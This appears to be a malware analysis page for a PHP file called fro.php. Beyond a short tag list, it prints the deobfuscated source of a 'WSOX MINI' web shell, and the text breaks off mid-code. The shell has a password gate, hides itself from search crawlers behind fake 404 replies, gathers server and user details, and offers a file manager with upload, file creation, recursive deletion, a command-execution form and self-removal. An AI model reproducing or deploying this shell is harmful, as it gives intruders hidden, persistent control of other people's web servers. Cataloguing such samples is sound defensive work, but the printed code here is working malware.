PHP Malware Analysis

Back to list

Filename: fro.php

Tags

Encoding
  • base64_decode
Title
  • " . $_SERVER["HTTP_HOST"] . " - WSOX MINI
Input
  • _POST
  • _FILES
Environment
  • php_uname
  • getcwd
  • phpinfo
Files
  • move_uploaded_file

Deobfuscated code

<?php

$wxsE7559 = "gzinflate";
$AE1718 = "base64_decode";
$s6353 = "\$ps=\"de9\\x31\\070f6ea2e947\\x39ed9d81a814\\067\\144bae3d\";\$_vza=\"#df5\";\$_smp=\"fm\";\$default_charset=\"Windows-1\\06251\";if(!empty(\$_SERVER[\"HTTP_USER_AGENT\"])){\$_wejg=array(\"\\107oogle\",\"Slurp\",\"MSNBot\",\"ia_ar\\x63hiver\",\"\\131an\\144\\x65x\",\"Ra\\x6dbler\");if(@Preg_mATcH(\"/\".join(\"|\",\$_wejg).\"/i\",\$_SERVER[\"HTT\\120_USER_AGENT\"])){HEADEr(\"HT\\x54P\\x2f1.0 404 Not\\040Found\");exit;}}if(FuNCtioN_exIsTS(\"ver\\x73ion\\x5f\\143ompare\")&&FuNCTIoN_ExISts(\"phpversio\\156\")){if(VeRsiON_cOMPARe(pHPVersIOn(),\"5.\\x34.0\",\"<\"))@magic_quotes_runtime((int)round(0+0));}if(FunctioN_EXisTs(\"get_\\x6d\\x61gic_quotes_gpc\")&&FUncTion_ExISTs(\"a\\x72ray_ma\\x70\")&&FunctION_EXIsTs(\"stripslashes\"))if(get_MaGic_qUoTEs_GpC()){function wSs(\$_tu){return IS_ArRAY(\$_tu)?arrAy_Map(\"WSS\",\$_tu):STriPSlAsHeS(\$_tu);}\$_POST=wSS(\$_POST);\$_COOKIE=wSS(\$_COOKIE);}function _\xc7\xde(){die(\"<for\\x6d method=post><input \\164ype=\\160assword\\040nam\\x65=ps><input type\\x3dsu\\x62m\\x69t valu\\145='\\x3e>'></form>\");}function _\xdc\xd4(\$_lyfl,\$_kg){\$_COOKIE[\$_lyfl]=\$_kg;SETCOOKie(\$_lyfl,\$_kg);}if(!empty(\$ps)){\$cook=suBstR(Md5(\$_SERVER[\"HTTP_HOS\\x54\"]),(int)round(0+0+0),-154+157);if(isset(\$_POST[\"ps\"])&&(md5(\$_POST[\"ps\"])==\$ps))_\xdc\xd4(\$cook,\$ps);if(!isset(\$_COOKIE[\$cook])||(\$_COOKIE[\$cook]!=\$ps))_\xc7\xde();}if(sTrTOlOWeR(SuBstr(PHP_OS,263+-214+-49,574+-571))==\"w\\x69n\")\$os=\"wi\\156\";else \$os=\"nix\";if(functiOn_EXiSTS(\"ini\\x5fge\\164\")){\$safe_mode=@INI_Get(\"safe_mode\");\$disable_functions=@Ini_gET(\"disa\\x62le_functions\");}if(fUNCtion_eXIsTs(\"getcwd\"))\$home_cwd=@gEtCWD();else \$home_cwd=@DIRnAME(__FILE__);if(isset(\$_POST[\"c\"])&&\$_POST[\"c\"]!=\"\")\$_POST[\"c\"]=Str_roT13(\$_POST[\"c\"]);if(isset(\$_POST[\"c\"])){if(FunCTiOn_ExISTS(\"ch\\144ir\"))@ChDIr(\$_POST[\"c\"]);}if(fuNCTioN_EXIsTS(\"get\\x63wd\")){\$cwd=@GETCwD();}elseif(isset(\$_POST[\"c\"])&&\$_POST[\"c\"]!=\"\")\$cwd=\$_POST[\"\\143\"];else \$cwd=\$home_cwd;if(\$os==\"wi\\x6e\"){\$home_cwd=Str_rEpLAcE(\"\\134\",\"/\",\$home_cwd);\$cwd=STr_rEPlaCE(\"\\x5c\",\"/\",\$cwd);}if(\$cwd[stRLeN(\$cwd)-(int)round(0.33333333333333+0.33333333333333+0.33333333333333)]!=\"\\057\")\$cwd.=\"/\";function _\xd8\x89\x92(){if(empty(\$_POST[\"ch\"]))\$_POST[\"ch\"]=\$GLOBALS[\"default\\137charset\"];global \$_vza;echo\"<\\150tml><head><met\\x61 http-\\x65\\x71uiv='Content-\\124ype' conte\\156t='\\164ext/h\\x74ml; c\\150\\141rset=\".\$_POST[\"\\x63h\"].\"'><t\\151tle>\".\$_SERVER[\"HTTP_HOST\"].\" - WSOX M\\x49NI</title>\\x0d\\x0a<style>\\015\\x0abody{back\\147ro\\x75nd-color:#444;col\\157r:#e1e1e1;}\\x0d\\012body,td,t\\150{ font: 9pt\\x20Lucida,Verdana;m\\141rgi\\156:0;v\\x65rtical-align\\072top\\073color:#e1e1e1; }\\x0d\\x0atable.info{ color\\072#ff\\146;background-color:#22\\x32; }\\015\\x0aspan,h1,a{ color: \".\$_vza.\" !i\\155po\\x72tant; }\\015\\012s\\160\\x61n{ font\\055w\\x65ight: bolder; }\\015\\012span.wfw{font-weight:norma\\154;}\\x0d\\x0a\\x681{ bord\\145r-left:5px\\x20so\\154id \".\$_vza.\";paddi\\x6eg\\072 2\\x70x 5\\160x;font: 14pt V\\145rdana;backg\\x72ound\\x2dcol\\x6fr:\\043222;margi\\156:0px;\\040}\\015\\x0adiv.cont\\x65\\x6et\\x7b padding: 5px;ma\\162gi\\156-left:5px;background-co\\x6cor:#333; }\\015\\012a{ te\\x78t-de\\143oration\\x3anone; \\x7d\\015\\x0a\\141:\\x68\\157ver{ tex\\x74-decoration:underlin\\145; }\\x0d\\012.ml1{ bor\\144er:1\\x70x\\040solid #\\x344\\064;padding:5px\\073margin:0;overfl\\x6fw: au\\164\\157\\073 }\\x0d\\012.bigarea{ width:100%;height:300px; }\\x0d\\x0ainput,textare\\141,se\\154ect{ margin:0;color:#\\146ff;b\\x61ckgroun\\144-\\x63olor:#555;borde\\x72:1px solid \".\$_vza.\"; fo\\x6e\\x74:\\x209pt Monospace,\\x27\\103ourier N\\x65w'; }\\015\\012form\\173 m\\141rgin:0p\\x78; }\\x0d\\x0a#toolsTbl{ text\\055align:center; }\\x0d\\x0a.toolsI\\156p{ widt\\150: 300px \\175\\015\\x0a.main th{text-align:left\\x3bb\\141ckground-color:#5e\\065e5e;}\\015\\x0a.main tr:hover{backgro\\165nd-color\\x3a#5e5e5e}\\015\\x0a.l1{background-color\\072#444}\\x0d\\012.l2\\x7bba\\x63kground-co\\154or:#333}\\015\\012pre{\\146ont-famil\\x79:Courier,Monospace\\073\\x7d\\015\\012<\\057style>\\x0d\\012\\074script>\\x0d\\x0a    var c_ = \\047\".HTMlSpeCIaLChaRS(str_ROT13(\$GLOBALS[\"cwd\"])).\"\\x27;\\015\\012    var a_ = '\".HTmlSpeCiAlcharS(\$_POST[\"a\"]).\"'\\x0d\\012    var ch_ = '\".hTmlSPeCiALcHars(\$_POST[\"ch\"]).\"'\\x3b\\x0d\\x0a \\x20  var p_ \\075 '\".((sTRpOs(\$_POST[\"p\"],\"\\x0a\")!==false)?\"\":HTmlSpEciAlCHarS(\$_POST[\"\\160\"],254+-251)).\"';\\015\\012    var x_ =\\040'\".((sTRpOs(\$_POST[\"x\"],\"\\x0a\")!==false)?\"\":HTMLSpeCIAlChaRS(\$_POST[\"x\"],55- -16-68)).\"';\\x0d\\012    \\166ar\\x20s_ = '\".((Strpos(\$_POST[\"s\"],\"\\012\")!==false)?\"\":HTMlSPEcIaLchARS(\$_POST[\"s\"],151+-303+155)).\"';\\x0d\\x0a    var d = document;\\x0d\\x0a\\011\\x66unc\\x74ion set(a\\x2cc,p,x,\\x73\\054ch)\\x20{\\x0d\\x0a\\011\\011if(a!=null)d.mf.a.value=a;else d.\\x6df.a.value=a_;\\x0d\\x0a\\011\\x09if(c!=null)d\\056mf.c\\x2eval\\x75e=c;else d.m\\x66.c.v\\x61lue=c_;\\015\\x0a\\x09\\x09if(p\\041=nul\\154)d.\\x6df\\x2ep.value=p;els\\x65 d.mf.p.value=p_;\\x0d\\012\\x09\\011if(x\\x21=null)d.\\155f.\\x78\\056value=x\\x3belse d.mf.x.val\\165e=x\\137;\\015\\x0a\\011\\x09if(s!\\075nul\\x6c)\\144.mf.s.value=s;else d.mf.s\\x2evalue=s_;\\015\\x0a\\011\\011\\151f(ch!\\075\\x6eull)d.mf\\x2ech.val\\x75e=ch;else d.mf.ch\\x2ev\\x61\\154ue=ch\\137;\\x0d\\x0a\\011\\x7d\\015\\012\\011f\\x75nction g(a,c,\\x70,x,s\\x2cc\\x68)\\040{\\015\\012\\x09\\x09set(a,c,p,x,s,ch);\\x0d\\x0a\\011\\x09d.\\155f.submit();\\x0d\\012\\011}\\x0d\\x0a\\x09function utoa(str) {\\015\\x0a\\x09\\x09return window.bto\\x61(unes\\x63ape(\\145ncod\\145UR\\111Compo\\x6eent(str)));\\x0d\\012\\x09}\\015\\x0a\\011fu\\156ction atou(st\\x72) {\\x0d\\x0a\\011\\x09return dec\\x6fd\\x65\\125RIComponen\\164(escape(window.\\x61tob(str)));\\015\\x0a\\011}\\015\\x0a\\011function rot1\\063(str) {\\015\\x0a\\x09  var in\\x70ut     = 'ABCDEFGHIJKLMNOPQ\\x52STU\\x56WXYZabcde\\146ghijklmnopqrstuvwx\\x79z';\\015\\012\\x09  v\\x61\\x72\\040outp\\165t    =\\040'\\116O\\120QRSTU\\126W\\130YZABCDEFGHIJKL\\x4d\\x6eopqr\\x73tuv\\x77xyzabcdefghi\\x6aklm';\\x0d\\012\\011 \\x20\\x76ar index     = x => inp\\165\\x74.i\\x6ed\\x65x\\x4ff(x);\\015\\012\\x09\\x20 var trans\\154ate = x => in\\x64ex(x) \\076 -1\\040? output[\\151ndex(x)] : x;\\015\\012\\x09  re\\164\\165rn str.split\\x28'').map(transla\\164\\145).j\\x6fin('')\\073\\x0d\\012\\x09}\\015\\012\\x09var c\\166is = false;\\x0d\\012\\011functio\\x6e sh\\x6f\\x77(){\\x0d\\012\\x09\\x09if\\050!cvis\\051 {\\x0d\\x0a\\011\\011\\011document.getElementById('bat\\x27).innerHTM\\x4c = \\047Link\\163';\\015\\x0a\\x09\\011\\x09doc\\x75me\\156t.\\147et\\x45lementById('cwd').styl\\145.disp\\154ay = 'inline';\\015\\012\\011\\x09\\x09d\\157cument.getElemen\\164ById('links').st\\x79le.display = '\\156one';\\x0d\\x0a\\x09\\011\\x09cvis = true;\\015\\012\\x09\\x09} else {\\x0d\\x0a\\011\\x09\\011document.get\\105lem\\x65ntById('bat')\\x2einnerHTML =\\040'Text';\\x0d\\012\\x09\\x09\\x09\\144ocument.getEleme\\x6etById(\\x27cw\\x64').style.displa\\171 = 'non\\x65'\\x3b\\x0d\\x0a\\x09\\x09\\x09d\\157\\143ument.getElement\\x42yId('links')\\x2estyle.display \\x3d '\\151nline';\\011\\x0d\\012\\011\\x09\\011\\143vi\\x73\\x20= false;\\x0d\\x0a\\011\\011}\\x0d\\012\\x09}\\015\\012</sc\\162\\x69pt>\\x0d\\012<head\\x3e\\x3cbody><div style='posi\\164io\\x6e:abso\\x6c\\165t\\x65;width\\x3a\\x3100\\045;bac\\x6bground-color:#444;top:0;left:0;'>\\015\\012<form \\x6de\\164h\\157d=po\\x73t name\\075\\x6df style='display:none;'>\\x0d\\012<input typ\\145=hidden\\040na\\155\\x65=a>\\015\\x0a<\\151np\\x75\\164 type\\075hidden name=c>\\x0d\\x0a<i\\156put \\x74ype=hidde\\156 n\\x61me\\x3dp>\\015\\012<input typ\\145=hidden name=x\\x3e\\015\\x0a\\x3cinput type\\075hidden name\\x3ds>\\x0d\\x0a<i\\x6ep\\x75t type=hi\\144den \\156ame=c\\150\\076\\015\\012</form>\";if(fUncTIoN_EXISTS(\"diskfreespace\"))\$_rw=@disKFrEespace(\$GLOBALS[\"cw\\144\"]);if(fUncTIOn_exIsts(\"disk_\\x74otal_\\x73pace\"))\$_jl=@dISk_TOtAL_sPaCe(\$GLOBALS[\"cw\\144\"]);\$_jl=\$_jl?\$_jl:-299+526-226;if(fUnctION_exISts(\"php_\\165na\\x6de\")){\$_mfvu=@PHp_uName();\$_ubac=@PhP_UNaME(\"r\");\$_bmh=@Php_UName(\"s\");}if(!FUNCTIOn_eXiSTS(\"posi\\170_getegid\")){if(funcTiOn_ExIsTS(\"get_curre\\156t_user\"))\$_hb=@gEt_cuRREnt_uSer();if(fuNCtiOn_ExIsTS(\"getmyuid\"))\$_mkds=@gEtMyuId();if(fuNcTioN_EXISTs(\"getmygid\"))\$_ltxp=@getmygid();\$_vx=\"?\";}else{\$_mkds=@poSIx_GETPWUId(@pOSiX_gEteUiD());\$_ltxp=@poSIX_getgRGid(@posiX_GETEgiD());\$_hb=\$_mkds[\"name\"];\$_mkds=\$_mkds[\"uid\"];\$_vx=\$_ltxp[\"name\"];\$_ltxp=\$_ltxp[\"gid\"];}if(fUnctIoN_exIsTS(\"m\\142_det\\145\\143t_en\\143o\\144i\\x6eg\")&&FuNcTioN_ExIsTS(\"iconv\"))if(@Mb_dEtEct_EncODIng(\$_hb,\"Windows-12\\x351\")){\$_hb=@Iconv(\"Windows-1251\",\"\\125TF-8\",\$_hb);}\$cwd_links=\"\";\$_cm=ExpLoDE(\"\\057\",\$GLOBALS[\"c\\167d\"]);\$_pfy=CoUnT(\$_cm);for(\$_wvlc=(int)round(0+0+0);\$_wvlc<\$_pfy-(int)round(0.5+0.5);\$_wvlc++){\$cwd_links.=\"<a href\\075'#' onclick\\x3d'g(\\x22fm\\042,\\042\";for(\$_ra=(int)round(0+0+0);\$_ra<=\$_wvlc;\$_ra++)\$cwd_links.=StR_rOT13(\$_cm[\$_ra]).\"/\";\$cwd_links.=\"\\x22,\\x22\\042,\\x22\\x22)'>\".\$_cm[\$_wvlc].\"/<\\057a>\";}\$_fv=array(\"UTF-8\",\"W\\151ndows-1251\",\"KOI\\x38-R\",\"KOI8-U\",\"cp866\");\$_oai=\"\";foreach(\$_fv as\$_iq)\$_oai.=\"<option value=\\042\".\$_iq.\"\\042 \".(\$_POST[\"ch\"]==\$_iq?\"selected\":\"\").\">\".\$_iq.\"<\\x2foption>\";\$_el=array(\"Files\"=>\"fm\");if(!empty(\$GLOBALS[\"ps\"]))\$_el[\"Lo\\147out\"]=\"Logou\\164\";\$_el[\"Self r\\x65move\"]=\"SelfRemove\";\$_ubi=\"\";foreach(\$_el as\$_lyfl=>\$_kg)\$_ubi.=\"<th width=\\042\".(int)((int)round(50+50)/cOUNt(\$_el)).\"%\\042>\\x5b <a href=\\042#\\042 onclick=\\x22g('\".\$_kg.\"',nul\\154,'','\\x27,'')\\042>\".\$_lyfl.\"</a> ]<\\057th>\";\$drives=\"\";if(\$GLOBALS[\"os\"]==\"wi\\156\"){foreach(ranGe(\"c\",\"z\") as\$drive)if(IS_dIR(\$drive.\":\\134\"))\$drives.=\"\\074a href=\\042#\\042 o\\x6eclick=\\042\\147('fm','\".stR_rOt13(\$drive).\":/')\\x22\\076[ \".\$drive.\"\\x20]</a> \";}echo\"<\\x74ab\\x6ce\\x20class=\\151nfo cellpadding=\\x33 cellspac\\151ng=0 width=100%\\076<tr><td width=1><spa\\x6e>Uname:<br>User:<br>P\\150p:<br>Hdd:<br>Cwd\\x3a\".(\$GLOBALS[\"os\"]==\"win\"?\"<br>Drive\\163:\":\"\").\"</span><\\x2ftd>\".\"<td><nobr>\".(\$_mfvu?suBStR(\$_mfvu,(int)round(0+0+0),-445+565):\"\\116\\057A\").\"</n\\157br><br>\".\$_mkds.\" ( \".\$_hb.\" ) <span>Group\\x3a</span\\076 \".\$_ltxp.\" ( \".\$_vx.\" \\x29<\\x62r>\".@PHPVeRsIon().\" <span>Safe mode\\072</sp\\141n> \".(\$GLOBALS[\"\\x73afe_mode\"]?\"<font\\040col\\157r=red\\076ON</\\146ont>\":\"<fon\\164 color=green><b>OF\\106</\\142></font>\").\" <a\\040href=# on\\x63lick=\\x22g('Ph\\160'\\054null\\x2c'',\\047info')\\042>[ phpinfo\\040]<\\x2f\\x61\\x3e <span>Dat\\145ti\\x6de:</span> \".daTE(\"Y-m-d H:i:s\").\"<br\\x3e\".(\$_jl?_\x85\xda\xd0(\$_jl):\"\").\" <span>Fr\\145e\\072</sp\\141n> \".(\$_rw?_\x85\xda\xd0(\$_rw):\"\").\" (\".((\$_rw&&\$_jl)?(int)(\$_rw/\$_jl*(116+-16)):\"0\").\"%)<br><span id=\\x22links\\x22\\x20c\\x6cass\\x3d\\x22wfw\\x22>\".\$cwd_links.\"\\x20\"._\xc4\xa6(\$GLOBALS[\"cwd\"]).\"\\x20<\\x61 \\150r\\x65f=\\x23\\040onc\\x6cick=\\042g('f\\155','\".StR_rot13(\$GLOBALS[\"home_cwd\"]).\"','',\\047','')\\x22>[ home\\x20\\135</a><\\x2fsp\\141n\\076<span id=\\x22cwd\\x22 s\\x74yle=\\x22display: none;\\x22 class=\\042wfw\\042><i\\x6eput si\\x7ae=\".(strLEN(\$GLOBALS[\"cwd\"])+(int)round(3+3)).\" type\\x3dtext value=\\042\".\$GLOBALS[\"cw\\144\"].\"\\042\\076</span> <a\\040href\\x3d# oncli\\x63k=\\x22show(\\051;\\x22><\\x66ont c\\157lor=#ff\\146 id=\\042bat\\042>Text</font></a><br>\".\$drives.\"</td>\".\"<td width=1\\x20alig\\x6e=\\162ight><nobr><select onchange=\\x22g(null\\054n\\165ll,\".(!empty(\$_POST[\"p\"])?\"'\".STr_rot13(\$_POST[\"p\"]).\"'\":\"\\156\\x75ll\").\",n\\165l\\x6c,\\x6eul\\x6c,this.\\x76alue\\051\\x22\\x3e<optgroup l\\x61bel=\\042Pa\\147e charset\\042>\".\$_oai.\"\\x3c\\057opt\\147roup></select><br><s\\x70an>S\\x65rver IP:</spa\\156><br>\".\$_SERVER[\"SERVER_AD\\x44R\"].\"<br\\076<span>\\x43lient IP:</\\163pan>\\074\\142\\x72>\".\$_SERVER[\"REMO\\124E_ADDR\"].\"</nob\\162><\\057td></tr></table>\".\"<table st\\x79le\\x3d\\042bo\\x72der-t\\x6fp:\\x32px so\\154id \\x23333;\\x22 cellpaddin\\147=3 \\x63ellsp\\141cing=0 width=100%><tr>\".\$_ubi.\"</tr><\\x2ft\\141ble><\\x64iv style=\\x22margin:5\\042>\";}function _\xdb\x96\x98\xd2(){\$_ue=is_WriTaBlE(\$GLOBALS[\"c\\x77d\"])?\" <font color='green\\x27>(Writeabl\\x65)</font>\":\" <\\146ont co\\154or=\\162ed>(Not writabl\\x65)</font>\";echo\"\\x0d\\x0a</div\\x3e\\x0d\\x0a<t\\x61ble\\x20class=info id=tool\\163Tbl cellpa\\144ding=3 cellspacing=0 width=100%\\040 style=\\x27\\142\\x6frder-top:2px solid #333;b\\157rder-bottom:2px\\x20\\163ol\\151d #333;'>\\x0d\\x0a\\011<tr>\\x0d\\x0a\\x09\\011<td><form o\\156sub\\x6dit='\\x67\\x28nul\\x6c,\\162ot13(thi\\x73.\\143\\x2eva\\154u\\145),\\x22\\x22);retur\\x6e false;'><span>Change dir:</span><b\\x72><input c\\x6cass='toolsInp\\x27 type=text name=c value='\".htmlSpeCIAlcHaRs(\$GLOBALS[\"cwd\"]).\"'><i\\x6ep\\x75\\x74 type\\075submit \\166alue='>>'\\x3e</\\146orm\\x3e</td>\\015\\x0a\\x09\\011<t\\144><\\146orm onsubmit=\\042g('ft',null,rot13(th\\x69s.\\146.value));re\\164urn fal\\x73e;\\x22\\x3e<spa\\156>Read\\x20file:</span><b\\x72><in\\160ut \\143la\\x73\\163='\\x74\\x6folsI\\156p' ty\\x70e=text name=f><inp\\x75t type=sub\\155it valu\\145='>>'></form>\\x3c/\\x74d>\\x0d\\x0a\\011<\\x2ftr><tr>\\015\\012\\011\\011<td><form onsubmi\\x74\\x3d\\x22g('\\x66m',null,'mkdir',rot\\x313(t\\150is\\x2ed.\\166alue));\\x72eturn fal\\x73e;\\x22\\076<span>Make dir\\x3a</\\163pan\\x3e\".\$_ue.\"<br><input\\x20class='tools\\111np' \\x74ype=text\\x20name=d><input type\\075submit value=\\047>>'></form></td>\\x0d\\x0a\\x09\\x09<td><form onsubmit\\x3d\\x22g('ft',nul\\x6c,rot13(thi\\x73.\\x66.\\166alue),'mk\\146ile');return fa\\154se;\\x22><span>Make file:</span\\076\".\$_ue.\"<br\\076<i\\156put \\143lass='\\164oolsInp' t\\171pe=text na\\155\\x65=f><i\\156put type=s\\x75bmit value='>>'></form></td>\\015\\012\\011</tr><tr\\x3e\\x0d\\012\\x09\\011<td><\\x66orm ons\\x75bmit=\\x22\\x67('ce',null,u\\164oa(this.c.va\\154ue));\\x72\\145turn fal\\163\\x65;\\x22>\\074spa\\x6e>Ex\\x65cute:</span><br><input class='t\\157ol\\x73\\x49n\\x70' \\164ype=text\\x20name=\\x63 val\\165e=''><in\\160ut type=submit value='\\076>'></\\x66orm></td>\\015\\012\\011\\011<t\\144><form \\x6dethod='post' ENCTYPE='multipart/fo\\x72m\\055data'>\\x0d\\x0a\\011\\011<input type\\075hidden name=a value='fm'>\\015\\x0a\\x09\\011<\\x69nput type=hidden name=\\143 value=\\047\".sTR_rot13(\$GLOBALS[\"cwd\"]).\"'>\\015\\012\\011\\x09\\074inpu\\164 t\\171pe=hidden name=p value='uploadF\\x69le'>\\x0d\\x0a\\011\\x09<input\\x20type=hidden nam\\x65\\075\\143h value='\".(isset(\$_POST[\"ch\"])?\$_POST[\"ch\"]:\"\").\"'>\\x0d\\x0a\\011\\011<sp\\x61n>Upload file:</span>\".\$_ue.\"<b\\x72><inpu\\x74\\x20\\x63lass='toolsInp' t\\171pe=fi\\x6ce name=f><i\\156put type=submit value\\x3d'>>'></form\\x3e<br  ></td>\\x0d\\012\\x09</t\\x72></table></div></bo\\x64y></html\\x3e\";}if(!funCTIon_existS(\"p\\x6fsix_g\\145tpwuid\")&&(sTrPOS(\$GLOBALS[\"disable\\x5ffuncti\\157ns\"],\"po\\163ix_getp\\x77ui\\x64\")===false)){function POSiX_GEtPwUID(\$_hp){return false;}}if(!fuNcTioN_exiStS(\"\\x70osix_getgrg\\151d\")&&(STRPOS(\$GLOBALS[\"disable_functions\"],\"po\\163ix\\x5fgetgrgid\")===false)){function PoSIx_gETgRGid(\$_hp){return false;}}function _\x85\xda\xd0(\$_hu){if(Is_InT(\$_hu))\$_hu=sprInTF(\"%u\",\$_hu);if(\$_hu>=(int)round(357913941.33333+357913941.33333+357913941.33333))return SPrInTF(\"\\0451.2f\",\$_hu/(1073742042-1073741162- -1073740944)).\" GB\";elseif(\$_hu>=(int)round(349525.33333333+349525.33333333+349525.33333333))return spRINTF(\"%\\061.2f\",\$_hu/(int)round(349525.33333333+349525.33333333+349525.33333333)).\" MB\";elseif(\$_hu>=(1185+623+-784))return spRInTf(\"%1.2\\146\",\$_hu/(869+1111+-956)).\" KB\";else return\$_hu.\" B\";}function _\xa9\x91\xcb(\$_hp){if((\$_hp&(48921- -231))==(48651+49406+-48905))\$_wvlc=\"\\x73\";elseif((\$_hp&(int)round(20480+20480))==(int)round(20480+20480))\$_wvlc=\"l\";elseif((\$_hp&(int)round(16384+16384))==(int)round(10922.666666667+10922.666666667+10922.666666667))\$_wvlc=\"-\";elseif((\$_hp&(24784+25233-25441))==(int)round(8192+8192+8192))\$_wvlc=\"b\";elseif((\$_hp&(16322- -62))==(int)round(8192+8192))\$_wvlc=\"d\";elseif((\$_hp&(8257-8400- -8335))==(int)round(2730.6666666667+2730.6666666667+2730.6666666667))\$_wvlc=\"c\";elseif((\$_hp&(4229-3995+3862))==(4344+-248))\$_wvlc=\"p\";else \$_wvlc=\"u\";\$_wvlc.=((\$_hp&(int)round(85.333333333333+85.333333333333+85.333333333333))?\"r\":\"-\");\$_wvlc.=((\$_hp&(348-145-75))?\"w\":\"-\");\$_wvlc.=((\$_hp&(int)round(21.333333333333+21.333333333333+21.333333333333))?((\$_hp&(int)round(1024+1024))?\"s\":\"x\"):((\$_hp&(2161+-113))?\"S\":\"-\"));\$_wvlc.=((\$_hp&(int)round(10.666666666667+10.666666666667+10.666666666667))?\"r\":\"-\");\$_wvlc.=((\$_hp&(156+-140))?\"w\":\"-\");\$_wvlc.=((\$_hp&(int)round(4+4))?((\$_hp&(1318+-294))?\"s\":\"x\"):((\$_hp&(1019+5))?\"S\":\"-\"));\$_wvlc.=((\$_hp&(-751+755))?\"r\":\"-\");\$_wvlc.=((\$_hp&(int)round(0.66666666666667+0.66666666666667+0.66666666666667))?\"w\":\"-\");\$_wvlc.=((\$_hp&(int)round(0.33333333333333+0.33333333333333+0.33333333333333))?((\$_hp&(int)round(170.66666666667+170.66666666667+170.66666666667))?\"t\":\"x\"):((\$_hp&(827-315))?\"T\":\"-\"));return\$_wvlc;}function _\xc4\xa6(\$_xw){if(!@IS_ReaDABLe(\$_xw))return\"<f\\157\\x6et c\\x6f\\x6cor=#FF0000>\"._\xa9\x91\xcb(@FilepermS(\$_xw)).\"</font>\";elseif(!@iS_writaBLe(\$_xw))return\"<\\146ont color=\\167h\\x69te>\"._\xa9\x91\xcb(@fIlEPeRMS(\$_xw)).\"</font>\";else return\"<font \\x63olor\\075#25ff00>\"._\xa9\x91\xcb(@FilePERMs(\$_xw)).\"</f\\157nt>\";}function _\xb9\x8e(\$_ioko){if(fUnCTIOn_ExiSts(\"scandi\\x72\")){return scAnDir(\$_ioko);}else{\$_ip=opeNdIr(\$_ioko);while(false!==(\$_io=rEadDir(\$_ip)))\$_jsm[]=\$_io;return\$_jsm;}}function acTiONfM(){if(!empty(\$_COOKIE[\"f\"]))\$_COOKIE[\"f\"]=@UNsERIAlIZE(\$_COOKIE[\"f\"]);if(!empty(\$_POST[\"p\"])){\$_rdbd=@FilemTiME(\$_POST[\"\\x63\"]);switch(\$_POST[\"p\"]){case \"uploadFile\":if(!@mOve_uPLoADeD_FIlE(\$_FILES[\"f\"][\"tmp_na\\x6de\"],\$_FILES[\"f\"][\"name\"]))echo\"Can't uploa\\144 file!\";elseif(\$_rdbd)toUcH(\$_FILES[\"\\x66\"][\"name\"],\$_rdbd,\$_rdbd);break;case \"delete\":function _\xde\xcd\xbb\xd3(\$_cm){\$_cm=(SubSTr(\$_cm,-(int)round(0.5+0.5))==\"/\")?\$_cm:\$_cm.\"/\";\$_ip=opENdIr(\$_cm);while((\$_iq=reAddIR(\$_ip))!==false){\$_iq=\$_cm.\$_iq;if((BasENAme(\$_iq)==\"..\")||(baseNamE(\$_iq)==\".\"))continue;\$_qhh=FilEtype(\$_iq);if(\$_qhh==\"dir\")_\xde\xcd\xbb\xd3(\$_iq);else @uNlINK(\$_iq);}ClOSEdiR(\$_ip);@RMdir(\$_cm);}if(iS_aRrAY(\$_POST[\"f\"]))foreach(\$_POST[\"f\"] as\$_xw){if(\$_xw==\"..\")continue;\$_xw=sTr_rot13(uRldeCODE(\$_xw));echo\$_xw;if(Is_diR(\$_xw))_\xde\xcd\xbb\xd3(\$_xw);else @Unlink(\$_xw);}break;}if(\$_rdbd)ToUCh(\$_POST[\"c\"],\$_rdbd,\$_rdbd);}_\xd8\x89\x92();echo\"<h1>File m\\x61n\\141\\x67er</h1\\076<div cla\\163s\\x3dcontent><script>p_\\x3dx\\137=s_=\\x22\\042;</\\x73cript>\";\$_zka=_\xb9\x8e(isset(\$_POST[\"c\"])?\$_POST[\"c\"]:\$GLOBALS[\"c\\167d\"]);if(\$_zka===false){echo\"Can't \\157pen this\\040folder!\";_\xdb\x96\x98\xd2();return;}global \$sort;\$sort=array(\"name\",(int)round(0.33333333333333+0.33333333333333+0.33333333333333));echo\"<scrip\\164>\\x0d\\x0a\\x09function sa(\\051 {\\x0d\\x0a\\011\\x09for(i=0;i<d.files.eleme\\156ts.\\154ength;i++)\\x0d\\x0a\\x09\\011\\x09if(d.files\\x2eelements[\\x69]\\x2etype \\x3d= '\\x63heckbo\\x78')\\x0d\\x0a\\011\\011\\011\\011d.fil\\145s.eleme\\x6ets[\\x69\\135.checked = d.\\146il\\145s.e\\154eme\\x6ets[0].\\x63hecked;\\015\\x0a\\x09\\175\\x0d\\x0a</\\x73cript>\\015\\012<t\\x61ble\\x20width\\x3d'10\\060%' class='m\\x61in' cellspacing='0' cellpa\\x64ding='2'>\\x0d\\012<form name=files\\040m\\145thod=pos\\164><tr><th width='\\x31\\x33px'>\\074input ty\\x70e=\\x63heckbo\\x78 onclick='sa(\\051' class=chkb\\170></th><\\x74h>\\x4ea\\x6de</th><t\\150>Size</th><th\\076Modify<\\057\\x74h><th>O\\x77ne\\162/G\\x72oup</th><th>Permissions</th><\\164h>Actions\\x3c/t\\x68>\\x3c\\x2ftr>\";\$_tge=\$_jsm=array();\$_pfy=couNt(\$_zka);for(\$_wvlc=(int)round(0+0);\$_wvlc<\$_pfy;\$_wvlc++){if(funCTION_eXIStS(\"posix_\\147etpwuid\")){\$_dirj=@PosIx_GETpWUid(@fileOwner(\$_zka[\$_wvlc]));\$_vk=@POSix_geTGRgId(@fILEgroup(\$_zka[\$_wvlc]));}\$_mok=array(\"name\"=>\$_zka[\$_wvlc],\"path\"=>\$GLOBALS[\"cwd\"].\$_zka[\$_wvlc],\"modify\"=>daTE(\"Y-\\x6d-d 